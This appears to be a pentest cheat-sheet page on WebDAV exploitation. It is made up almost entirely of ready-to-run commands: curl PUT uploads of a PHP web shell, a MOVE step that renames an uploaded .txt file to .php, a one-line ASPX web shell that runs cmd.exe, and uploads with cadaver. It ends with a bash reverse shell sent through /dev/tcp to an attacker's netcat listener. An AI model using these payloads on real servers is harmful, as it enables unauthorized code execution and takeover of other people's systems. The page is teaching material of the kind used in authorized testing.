Skip to content
HackIndex logo

HackIndex

WebDAV Exploitation

2 min read Mar 28, 2026

WebDAV exploitation uses the PUT method to upload a web shell to the server, or the MOVE method to rename an uploaded non-executable file to an executable extension. Confirm upload capability and executable extension handling through WebDAV enumeration before uploading shells.

Direct PHP Web Shell Upload

Upload a PHP web shell directly if the server accepts .php files via PUT:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.php -d '<?php system($_GET["cmd"]); ?>'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

MOVE Extension Bypass

When PUT blocks executable extensions but allows non-executable files, upload as .txt and MOVE to .php or .asp:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.txt -d '<?php system($_GET["cmd"]); ?>'
┌──(kali㉿kali)-[~]
└─$ curl -sk -X MOVE http://$TARGET_IP:$PORT/shell.txt -H 'Destination: http://$TARGET_IP:$PORT/shell.php'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id" 
uid=33(www-data) gid=33(www-data)

ASPX Shell for IIS WebDAV

On IIS targets, upload an ASPX shell instead of PHP:

<%@@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd():""); %>
┌──(kali㉿kali)-[~]
└─$ curl -sk -X PUT http://$TARGET_IP:$PORT/shell.aspx --data-binary @shell.aspx
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.aspx?cmd=whoami" 
iis apppool\defaultapppool

cadaver for Interactive Upload

cadaver provides an interactive session for WebDAV operations — useful when curl returns ambiguous errors:

┌──(kali㉿kali)-[~]
└─$ cadaver http://$TARGET_IP:$PORT/ 
dav:/> put shell.php
Uploading shell.php to '/shell.php':
Progress: [=============================>] 100.0% of 31 bytes succeeded.

Reverse Shell Delivery

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

References